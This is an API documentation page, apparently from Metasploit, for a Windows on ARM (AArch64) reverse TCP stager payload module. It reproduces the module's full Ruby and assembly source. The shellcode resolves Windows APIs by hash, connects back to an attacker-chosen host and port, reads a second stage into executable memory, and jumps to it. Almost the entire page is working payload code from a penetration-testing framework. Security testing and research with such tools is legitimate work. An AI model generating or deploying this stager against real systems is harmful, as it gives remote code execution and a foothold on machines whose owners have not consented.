Module: Msf::Payload::Windows::ReverseTcp_Aarch64
- Includes:
- Msf::Payload::Windows, Aarch64, Exitfunk_Aarch64
- Defined in:
- lib/msf/core/payload/windows/reverse_tcp_aarch64.rb
Overview
Windows AArch64 reverse_tcp stager payload generation.
Empirically validated on Windows on ARM (build 10.0.26200). Uses kernel32!FlushInstructionCache for portable icache maintenance - user-space dc cvau / ic ivau trap as STATUS_ILLEGAL_INSTRUCTION on WoA SoCs that leave SCTLR_EL1.UCI clear.
Naming uses ReverseTcp_Aarch64 to match lib/msf_autoload.rb inflection for reverse_tcp_aarch64.rb (same pattern as ReverseTcp_x64).
Instance Method Summary collapse
- #build_stager_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exitfunk:) ⇒ Object protected
- #generate(_opts = {}) ⇒ Object
-
#generate_reverse_tcp(opts = {}) ⇒ String
Generate and compile the AArch64 reverse_tcp stager.
Methods included from Exitfunk_Aarch64
#asm_exitfunk_aarch64, #exitfunk_hash
Methods included from Aarch64
#asm_block_api_aarch64, #compile_aarch64, #ror13_hash, #without_inline_comments
Methods included from Msf::Payload::Windows
#apply_prepends, exit_types, #handle_intermediate_stage, #include_send_uuid, #initialize, #replace_var
Methods included from PrependMigrate
#apply_prepend_migrate, #initialize, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64
Instance Method Details
#build_stager_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exitfunk:) ⇒ Object (protected)
62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 |
# File 'lib/msf/core/payload/windows/reverse_tcp_aarch64.rb', line 62 def build_stager_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exitfunk:) # Slot table (x29 + offset): # 0x00 kernel32_base 0x08 &find_function 0x10 VirtualAlloc # 0x18 LoadLibraryA 0x20 recv 0x28 WSAStartup # 0x30 WSASocketA 0x38 WSAConnect 0x48 FlushInstructionCache # 0x50 sockaddr_in 0x70 WSADATA asm = <<~ASM main: sub sp, sp, #0x300 mov x29, sp add x19, x29, #0x50 add x21, x29, #0x70 ASM asm += asm_block_api_aarch64 asm += <<~ASM resolve_symbols_kernel32: str x3, [x29, #0x00] movz w0, #0x4e8e movk w0, #0xec0e, lsl #16 ldr x9, [x29, #0x08] blr x9 str x0, [x29, #0x18] movz w0, #0xca54 movk w0, #0x91af, lsl #16 ldr x3, [x29, #0x00] ldr x9, [x29, #0x08] blr x9 str x0, [x29, #0x10] movz w0, #0x0980 movk w0, #0x5312, lsl #16 ldr x3, [x29, #0x00] ldr x9, [x29, #0x08] blr x9 str x0, [x29, #0x48] load_ws2_32: movz x0, #0x7357 movk x0, #0x5f32, lsl #16 movk x0, #0x3233, lsl #32 movk x0, #0x642e, lsl #48 movz w1, #0x6c6c sub sp, sp, #16 str x0, [sp] str w1, [sp, #8] mov x0, sp ldr x9, [x29, #0x18] blr x9 add sp, sp, #16 mov x3, x0 resolve_ws2_32: movz w0, #0xedcb movk w0, #0x3bfc, lsl #16 ldr x9, [x29, #0x08] blr x9 str x0, [x29, #0x28] movz w0, #0x09d9 movk w0, #0xadf5, lsl #16 ldr x9, [x29, #0x08] blr x9 str x0, [x29, #0x30] movz w0, #0xba0c movk w0, #0xb32d, lsl #16 ldr x9, [x29, #0x08] blr x9 str x0, [x29, #0x38] movz w0, #0x19b6 movk w0, #0xe718, lsl #16 ldr x9, [x29, #0x08] blr x9 str x0, [x29, #0x20] call_WSAStartup: movz w0, #0x0202 mov x1, x21 ldr x9, [x29, #0x28] blr x9 call_WSASocket: mov w0, #2 mov w1, #1 mov w2, #6 mov x3, xzr mov w4, wzr mov w5, wzr ldr x9, [x29, #0x30] blr x9 mov x22, x0 fill_sockaddr_fast: movz x0, #0x0002 movk x0, ##{format('0x%04x', port_imm)}, lsl #16 movk x0, ##{format('0x%04x', ip_lo_imm)}, lsl #32 movk x0, ##{format('0x%04x', ip_hi_imm)}, lsl #48 stp x0, xzr, [x19] call_WSAConnect: mov x0, x22 mov x1, x19 mov w2, #16 mov x3, xzr mov x4, xzr mov x5, xzr mov x6, xzr ldr x9, [x29, #0x38] blr x9 recv_stage_length: mov x0, x22 mov x1, x19 mov w2, #4 mov w3, wzr ldr x9, [x29, #0x20] blr x9 cmp w0, #4 b.ne exitfunk_prep ldr w24, [x19] call_VirtualAlloc: mov x0, xzr mov x1, x24 movz w2, #0x3000 movz w3, #0x0040 ldr x9, [x29, #0x10] blr x9 cbz x0, exitfunk_prep mov x23, x0 recv_stage_loop_init: mov x25, x23 mov x26, x24 recv_stage_loop: mov x0, x22 mov x1, x25 mov x2, x26 mov w3, wzr ldr x9, [x29, #0x20] blr x9 cmp w0, #0 b.le exitfunk_prep add x25, x25, x0, sxtw sub x26, x26, x0, sxtw cbnz x26, recv_stage_loop icache_flush: movn x0, #0 mov x1, x23 mov x2, x24 ldr x9, [x29, #0x48] blr x9 jump_to_stage: mov x0, x22 br x23 exitfunk_prep: b exitfunk ASM asm + asm_exitfunk_aarch64(exitfunk: exitfunk) end |
#generate(_opts = {}) ⇒ Object
18 19 20 21 22 23 24 25 |
# File 'lib/msf/core/payload/windows/reverse_tcp_aarch64.rb', line 18 def generate(_opts = {}) conf = { port: datastore['LPORT'], host: datastore['LHOST'], exitfunk: datastore['EXITFUNC'] } generate_reverse_tcp(conf) end |
#generate_reverse_tcp(opts = {}) ⇒ String
Generate and compile the AArch64 reverse_tcp stager.
35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
# File 'lib/msf/core/payload/windows/reverse_tcp_aarch64.rb', line 35 def generate_reverse_tcp(opts = {}) lhost = opts[:host] unless Rex::Socket.is_ipv4?(lhost) raise ArgumentError, 'LHOST must be in IPv4 format.' end ip_bytes = Rex::Socket.addr_aton(lhost) port_imm = [opts[:port].to_i].pack('n').unpack1('v') ip_lo_imm = ip_bytes[0, 2].unpack1('v') ip_hi_imm = ip_bytes[2, 2].unpack1('v') asm = build_stager_asm( port_imm: port_imm, ip_lo_imm: ip_lo_imm, ip_hi_imm: ip_hi_imm, exitfunk: opts[:exitfunk] ) compile_aarch64(asm) end |